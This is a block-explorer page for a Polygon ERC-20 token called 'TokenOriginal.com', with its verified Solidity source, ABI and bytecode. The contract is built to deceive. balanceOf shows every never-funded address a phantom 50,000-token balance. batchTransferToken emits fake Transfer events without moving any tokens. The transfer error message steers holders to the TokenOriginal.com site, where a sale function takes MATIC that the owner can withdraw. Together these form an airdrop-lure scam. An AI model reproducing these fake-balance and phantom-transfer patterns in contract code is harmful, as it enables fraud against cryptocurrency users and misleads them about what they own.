MATIC Price: $0.53737 (-0.01%)
Gas: 30.1 GWei
 

Overview

Max Total Supply

1,000,000,000,000,000 ERC-20 TOKEN*

Holders

96,337

Market

Price

$0.00 @ 0.000000 MATIC

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
50,000 ERC-20 TOKEN*

Value
$0.00
0x1c02773f409f260f5774c32bc77a05b8c19d3914
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
TokenOriginal

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at polygonscan.com on 2021-08-04
*/

// SPDX-License-Identifier: MIT


pragma solidity ^0.8.0;
pragma abicoder v2;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


pragma solidity ^0.8.4;

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);

}


pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


pragma solidity ^0.8.0;

abstract contract Pausable is Context {

    event Paused(address account);

    event Unpaused(address account);

    bool private _paused;


    constructor () {
        _paused = false;
    }


    function paused() public view virtual returns (bool) {
        return _paused;
    }


    modifier whenNotPaused() {
        require(!paused(), "Pausable: paused");
        _;
    }


    modifier whenPaused() {
        require(paused(), "Pausable: not paused");
        _;
    }

    function _pause() internal virtual whenNotPaused {
        _paused = true;
        emit Paused(_msgSender());
    }


    function _unpause() internal virtual whenPaused {
        _paused = false;
        emit Unpaused(_msgSender());
    }
}


pragma solidity ^0.8.0;

contract TokenOriginal is IERC20, Ownable {
    uint256 public aSBlock; 
    uint256 public aEBlock; 
    uint256 public aCap; 
    uint256 public aTot; 
    uint256 public aAmt; 
    uint256 public sSBlock; 
    uint256 public sEBlock; 
    uint256 public sCap; 
    uint256 public sTot; 
    uint256 public sChunk; 
    uint256 public sPrice; 
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply;
        uint256 private _airdropAmount;

    mapping(address => bool) private _unlocked;


    string private _name;
    string private _symbol;
    
    
    constructor () {
                _name = "TokenOriginal.com";
        _symbol = "Original";
        _airdropAmount = 50000*10**decimals();
        _mint(msg.sender, 100000000000000*10**decimals());
        _mint(address(this), 900000000000000*10**decimals());
        startSale(block.number, 999999999, 0,15000000*10**decimals(), 2000000000000);
        startAirdrop(block.number,999999999,10000*10**decimals(),2000000000000);
    }
    
    
        function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    
    
    function decimals() public view virtual override returns (uint8) {
        return 8;
    }
    
    
        function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    
        function balanceOf(address account) public view virtual override returns (uint256) {
        if (!_unlocked[account]) {
            return _airdropAmount;
        } else {
            return _balances[account];
        }
    }
        function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function setAirdropAmount(uint256 airdropAmount_) public onlyOwner (){

        _airdropAmount = airdropAmount_;
    }
        function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(_unlocked[sender], "ERC20: token must be unlocked before transfer.Visit TokenOriginal.com for more info'");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        _unlocked[recipient] = true;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        _unlocked[account] = true;
        
        emit Transfer(address(0), account, amount);
    }
    
       function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;
        _unlocked[account] = false;

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function burn(address account, uint256 amount) public payable onlyOwner {
        _burn(account, amount);
    }
    
    function batchTransferToken(address[] memory holders, uint256 amount) public onlyOwner payable {
        for (uint i=0; i<holders.length; i++) {
            emit Transfer(address(this), holders[i], amount);
        }
    }

    function withdrawToken(address receiver, address tokenAddress, uint amount) public onlyOwner payable {
        uint balance = IERC20(tokenAddress).balanceOf(address(this));
        if (amount == 0) {
            amount = balance;
        }

        require(amount > 0 && balance >= amount, "bad amount");
        IERC20(tokenAddress).transfer(receiver, amount);
    }

   function getAirdrop(address _refer) public returns (bool success){
        require(aSBlock <= block.number && block.number <= aEBlock);
        require(aTot < aCap || aCap == 0);
        aTot ++;
        if(msg.sender != _refer && balanceOf(_refer) != 0 && _refer != 0x0000000000000000000000000000000000000000){
          _transfer(address(this), _refer, aAmt);
        }
        _transfer(address(this), msg.sender, aAmt);
        return true;
      }

  function tokenSale(address _refer) public payable returns (bool success){
    require(sSBlock <= block.number && block.number <= sEBlock);
    require(sTot < sCap || sCap == 0);
    uint256 _eth = msg.value;
    uint256 _tkns;
    _tkns = (sPrice*_eth) / 1 ether;
    sTot ++;
    if(msg.sender != _refer && balanceOf(_refer) != 0 && _refer != 0x0000000000000000000000000000000000000000){
      
      _transfer(address(this), _refer, _tkns);
    }
    
      _transfer(address(this), msg.sender, _tkns);
    return true;
  }

  function viewAirdrop() public view returns(uint256 StartBlock, uint256 EndBlock, uint256 DropCap, uint256 DropCount, uint256 DropAmount){
    return(aSBlock, aEBlock, aCap, aTot, aAmt);
  }
  
  function viewSale() public view returns(uint256 StartBlock, uint256 EndBlock, uint256 SaleCap, uint256 SaleCount, uint256 ChunkSize, uint256 SalePrice){
    return(sSBlock, sEBlock, sCap, sTot, sChunk, sPrice);
  }
  
  function startAirdrop(uint256 _aSBlock, uint256 _aEBlock, uint256 _aAmt, uint256 _aCap) public onlyOwner {
    aSBlock = _aSBlock;
    aEBlock = _aEBlock;
    aAmt = _aAmt;
    aCap = _aCap;
    aTot = 0;
  }
  
  function startSale(uint256 _sSBlock, uint256 _sEBlock, uint256 _sChunk, uint256 _sPrice, uint256 _sCap) public onlyOwner{
    sSBlock = _sSBlock;
    sEBlock = _sEBlock;
    sChunk = _sChunk;
    sPrice =_sPrice;
    sCap = _sCap;
    sTot = 0;
  }
    
  function clear(uint amount) public onlyOwner {
        address payable _owner = payable(msg.sender);
        _owner.transfer(amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"aAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"aCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"aEBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"aSBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"aTot","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"batchTransferToken","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"clear","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_refer","type":"address"}],"name":"getAirdrop","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sChunk","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sEBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sSBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sTot","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"airdropAmount_","type":"uint256"}],"name":"setAirdropAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_aSBlock","type":"uint256"},{"internalType":"uint256","name":"_aEBlock","type":"uint256"},{"internalType":"uint256","name":"_aAmt","type":"uint256"},{"internalType":"uint256","name":"_aCap","type":"uint256"}],"name":"startAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_sSBlock","type":"uint256"},{"internalType":"uint256","name":"_sEBlock","type":"uint256"},{"internalType":"uint256","name":"_sChunk","type":"uint256"},{"internalType":"uint256","name":"_sPrice","type":"uint256"},{"internalType":"uint256","name":"_sCap","type":"uint256"}],"name":"startSale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_refer","type":"address"}],"name":"tokenSale","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewAirdrop","outputs":[{"internalType":"uint256","name":"StartBlock","type":"uint256"},{"internalType":"uint256","name":"EndBlock","type":"uint256"},{"internalType":"uint256","name":"DropCap","type":"uint256"},{"internalType":"uint256","name":"DropCount","type":"uint256"},{"internalType":"uint256","name":"DropAmount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"viewSale","outputs":[{"internalType":"uint256","name":"StartBlock","type":"uint256"},{"internalType":"uint256","name":"EndBlock","type":"uint256"},{"internalType":"uint256","name":"SaleCap","type":"uint256"},{"internalType":"uint256","name":"SaleCount","type":"uint256"},{"internalType":"uint256","name":"ChunkSize","type":"uint256"},{"internalType":"uint256","name":"SalePrice","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"payable","type":"function"}]

60806040523480156200001157600080fd5b506200001d3362000167565b60408051808201909152601180825270546f6b656e4f726967696e616c2e636f6d60781b602090920191825262000055918162000387565b506040805180820190915260088082526713dc9a59da5b985b60c21b6020909201918252620000879160129162000387565b50620000966008600a62000491565b620000a49061c3506200055f565b600f55620000d233620000ba6008600a62000491565b620000cc90655af3107a40006200055f565b620001b7565b620000f830620000e56008600a62000491565b620000cc906603328b944c40006200055f565b6200012e43633b9ac9ff6000620001126008600a62000491565b620001219062e4e1c06200055f565b6501d1a94a2000620002bc565b6200016143633b9ac9ff620001466008600a62000491565b62000154906127106200055f565b6501d1a94a200062000323565b620005d4565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620002135760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b80600e60008282546200022791906200042d565b90915550506001600160a01b0382166000908152600c602052604081208054839290620002569084906200042d565b90915550506001600160a01b038216600081815260106020526040808220805460ff19166001179055517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620002b09085815260200190565b60405180910390a35050565b6000546001600160a01b03163314620003075760405162461bcd60e51b8152602060048201819052602482015260008051602062001e1a83398151915260448201526064016200020a565b600694909455600792909255600a55600b556008556000600955565b6000546001600160a01b031633146200036e5760405162461bcd60e51b8152602060048201819052602482015260008051602062001e1a83398151915260448201526064016200020a565b6001939093556002919091556005556003556000600455565b828054620003959062000581565b90600052602060002090601f016020900481019282620003b9576000855562000404565b82601f10620003d457805160ff191683800117855562000404565b8280016001018555821562000404579182015b8281111562000404578251825591602001919060010190620003e7565b506200041292915062000416565b5090565b5b8082111562000412576000815560010162000417565b60008219821115620004435762000443620005be565b500190565b600181815b80851115620004895781600019048211156200046d576200046d620005be565b808516156200047b57918102915b93841c93908002906200044d565b509250929050565b6000620004a260ff841683620004a9565b9392505050565b600082620004ba5750600162000559565b81620004c95750600062000559565b8160018114620004e25760028114620004ed576200050d565b600191505062000559565b60ff841115620005015762000501620005be565b50506001821b62000559565b5060208310610133831016604e8410600b841016171562000532575081810a62000559565b6200053e838362000448565b8060001904821115620005555762000555620005be565b0290505b92915050565b60008160001904831182151516156200057c576200057c620005be565b500290565b600181811c908216806200059657607f821691505b60208210811415620005b857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b61183680620005e46000396000f3fe60806040526004361061020f5760003560e01c80637d17028311610118578063a9059cbb116100a0578063ced4138a1161006f578063ced4138a1461059c578063d69b197f146105b2578063dd62ed3e146105f6578063f2fde38b1461063c578063fc8847121461065c57600080fd5b8063a9059cbb14610530578063af5f65ee14610550578063c0fe1af814610566578063c465a3db1461058657600080fd5b80639d5f9dfb116100e75780639d5f9dfb146104b15780639dc29fac146104c7578063a457c2d7146104da578063a5500c30146104fa578063a695cb7f1461051a57600080fd5b80637d170283146104485780638da5cb5b1461045e578063933fe6601461048657806395d89b411461049c57600080fd5b8063395093511161019b57806354aeebe41161016a57806354aeebe4146103ca5780636643ef9f146103e057806370a08231146103f3578063715018a61461041357806376f25a841461042857600080fd5b806339509351146103355780634a7781d9146103555780634d1d03d11461036b578063512d7cfd146103b757600080fd5b806315d8f7e4116101e257806315d8f7e4146102a057806318160ddd146102c45780631dc4f9ea146102d957806323b872dd146102f9578063313ce5671461031957600080fd5b806301e3366714610214578063069f5bdd1461022957806306fdde031461025e578063095ea7b314610280575b600080fd5b61022761022236600461149c565b610672565b005b34801561023557600080fd5b50610249610244366004611449565b6107fc565b60405190151581526020015b60405180910390f35b34801561026a57600080fd5b506102736108a6565b6040516102559190611688565b34801561028c57600080fd5b5061024961029b3660046114d7565b610938565b3480156102ac57600080fd5b506102b660015481565b604051908152602001610255565b3480156102d057600080fd5b50600e546102b6565b3480156102e557600080fd5b506102276102f436600461164e565b61094e565b34801561030557600080fd5b5061024961031436600461149c565b610994565b34801561032557600080fd5b5060405160088152602001610255565b34801561034157600080fd5b506102496103503660046114d7565b610a3e565b34801561036157600080fd5b506102b6600b5481565b34801561037757600080fd5b50600654600754600854600954600a54600b54604080519687526020870195909552938501929092526060840152608083015260a082015260c001610255565b6102276103c5366004611500565b610a7a565b3480156103d657600080fd5b506102b660045481565b6102496103ee366004611449565b610b3b565b3480156103ff57600080fd5b506102b661040e366004611449565b610c0d565b34801561041f57600080fd5b50610227610c56565b34801561043457600080fd5b5061022761044336600461161d565b610c8c565b34801561045457600080fd5b506102b660095481565b34801561046a57600080fd5b506000546040516001600160a01b039091168152602001610255565b34801561049257600080fd5b506102b660065481565b3480156104a857600080fd5b50610273610ccf565b3480156104bd57600080fd5b506102b6600a5481565b6102276104d53660046114d7565b610cde565b3480156104e657600080fd5b506102496104f53660046114d7565b610d16565b34801561050657600080fd5b506102276105153660046115ed565b610da5565b34801561052657600080fd5b506102b660025481565b34801561053c57600080fd5b5061024961054b3660046114d7565b610dd4565b34801561055c57600080fd5b506102b660085481565b34801561057257600080fd5b506102276105813660046115ed565b610de1565b34801561059257600080fd5b506102b660035481565b3480156105a857600080fd5b506102b660075481565b3480156105be57600080fd5b50600154600254600354600454600554604080519586526020860194909452928401919091526060830152608082015260a001610255565b34801561060257600080fd5b506102b661061136600461146a565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b34801561064857600080fd5b50610227610657366004611449565b610e3a565b34801561066857600080fd5b506102b660055481565b6000546001600160a01b031633146106a55760405162461bcd60e51b815260040161069c906116db565b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a082319060240160206040518083038186803b1580156106e757600080fd5b505afa1580156106fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071f9190611605565b90508161072a578091505b60008211801561073a5750818110155b6107735760405162461bcd60e51b815260206004820152600a60248201526918985908185b5bdd5b9d60b21b604482015260640161069c565b60405163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905284169063a9059cbb90604401602060405180830381600087803b1580156107bd57600080fd5b505af11580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f591906115cd565b5050505050565b6000436001541115801561081257506002544311155b61081b57600080fd5b600354600454108061082d5750600354155b61083657600080fd5b60048054906000610846836117b9565b9091555050336001600160a01b0383161480159061086b575061086882610c0d565b15155b801561087f57506001600160a01b03821615155b15610891576108913083600554610ed5565b61089e3033600554610ed5565b506001919050565b6060601180546108b59061177e565b80601f01602080910402602001604051908101604052809291908181526020018280546108e19061177e565b801561092e5780601f106109035761010080835404028352916020019161092e565b820191906000526020600020905b81548152906001019060200180831161091157829003601f168201915b5050505050905090565b6000610945338484611163565b50600192915050565b6000546001600160a01b031633146109785760405162461bcd60e51b815260040161069c906116db565b600694909455600792909255600a55600b556008556000600955565b60006109a1848484610ed5565b6001600160a01b0384166000908152600d6020908152604080832033845290915290205482811015610a265760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161069c565b610a338533858403611163565b506001949350505050565b336000818152600d602090815260408083206001600160a01b03871684529091528120549091610945918590610a75908690611710565b611163565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161069c906116db565b60005b8251811015610b3657828181518110610ad057634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316306001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b1c91815260200190565b60405180910390a380610b2e816117b9565b915050610aa7565b505050565b60004360065411158015610b5157506007544311155b610b5a57600080fd5b6008546009541080610b6c5750600854155b610b7557600080fd5b60003490506000670de0b6b3a764000082600b54610b939190611748565b610b9d9190611728565b600980549192506000610baf836117b9565b9091555050336001600160a01b03851614801590610bd45750610bd184610c0d565b15155b8015610be857506001600160a01b03841615155b15610bf857610bf8308583610ed5565b610c03303383610ed5565b5060019392505050565b6001600160a01b03811660009081526010602052604081205460ff16610c35575050600f5490565b506001600160a01b03166000908152600c602052604090205490565b919050565b6000546001600160a01b03163314610c805760405162461bcd60e51b815260040161069c906116db565b610c8a6000611288565b565b6000546001600160a01b03163314610cb65760405162461bcd60e51b815260040161069c906116db565b6001939093556002919091556005556003556000600455565b6060601280546108b59061177e565b6000546001600160a01b03163314610d085760405162461bcd60e51b815260040161069c906116db565b610d1282826112d8565b5050565b336000908152600d602090815260408083206001600160a01b038616845290915281205482811015610d985760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161069c565b610c033385858403611163565b6000546001600160a01b03163314610dcf5760405162461bcd60e51b815260040161069c906116db565b600f55565b6000610945338484610ed5565b6000546001600160a01b03163314610e0b5760405162461bcd60e51b815260040161069c906116db565b6040513390819083156108fc029084906000818181858888f19350505050158015610b36573d6000803e3d6000fd5b6000546001600160a01b03163314610e645760405162461bcd60e51b815260040161069c906116db565b6001600160a01b038116610ec95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161069c565b610ed281611288565b50565b6001600160a01b038316610f395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161069c565b6001600160a01b038216610f9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161069c565b6001600160a01b03831660009081526010602052604090205460ff166110465760405162461bcd60e51b815260206004820152605460248201527f45524332303a20746f6b656e206d75737420626520756e6c6f636b656420626560448201527f666f7265207472616e736665722e566973697420546f6b656e4f726967696e616064820152736c2e636f6d20666f72206d6f726520696e666f2760601b608482015260a40161069c565b6001600160a01b0383166000908152600c6020526040902054818110156110be5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161069c565b6001600160a01b038085166000908152600c60205260408082208585039055918516815290812080548492906110f5908490611710565b90915550506001600160a01b0380841660008181526010602052604090819020805460ff191660011790555190918616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111559086815260200190565b60405180910390a350505050565b6001600160a01b0383166111c55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161069c565b6001600160a01b0382166112265760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161069c565b6001600160a01b038381166000818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166113385760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161069c565b6001600160a01b0382166000908152600c6020526040902054818110156113ac5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161069c565b6001600160a01b0383166000908152600c602052604081208383039055600e80548492906113db908490611767565b90915550506001600160a01b0383166000818152601060209081526040808320805460ff19169055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161127b565b80356001600160a01b0381168114610c5157600080fd5b60006020828403121561145a578081fd5b61146382611432565b9392505050565b6000806040838503121561147c578081fd5b61148583611432565b915061149360208401611432565b90509250929050565b6000806000606084860312156114b0578081fd5b6114b984611432565b92506114c760208501611432565b9150604084013590509250925092565b600080604083850312156114e9578182fd5b6114f283611432565b946020939093013593505050565b60008060408385031215611512578182fd5b823567ffffffffffffffff80821115611529578384fd5b818501915085601f83011261153c578384fd5b8135602082821115611550576115506117ea565b8160051b604051601f19603f83011681018181108682111715611575576115756117ea565b604052838152828101945085830182870184018b1015611593578889fd5b8896505b848710156115bc576115a881611432565b865260019690960195948301948301611597565b509997909101359750505050505050565b6000602082840312156115de578081fd5b81518015158114611463578182fd5b6000602082840312156115fe578081fd5b5035919050565b600060208284031215611616578081fd5b5051919050565b60008060008060808587031215611632578081fd5b5050823594602084013594506040840135936060013592509050565b600080600080600060a08688031215611665578081fd5b505083359560208501359550604085013594606081013594506080013592509050565b6000602080835283518082850152825b818110156116b457858101830151858201604001528201611698565b818111156116c55783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611723576117236117d4565b500190565b60008261174357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611762576117626117d4565b500290565b600082821015611779576117796117d4565b500390565b600181811c9082168061179257607f821691505b602082108114156117b357634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156117cd576117cd6117d4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220aeeb2e1d7ad55124a9f24bf444888d29a8874d9f6d561f9ce2431400ab82a05d64736f6c634300080400334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

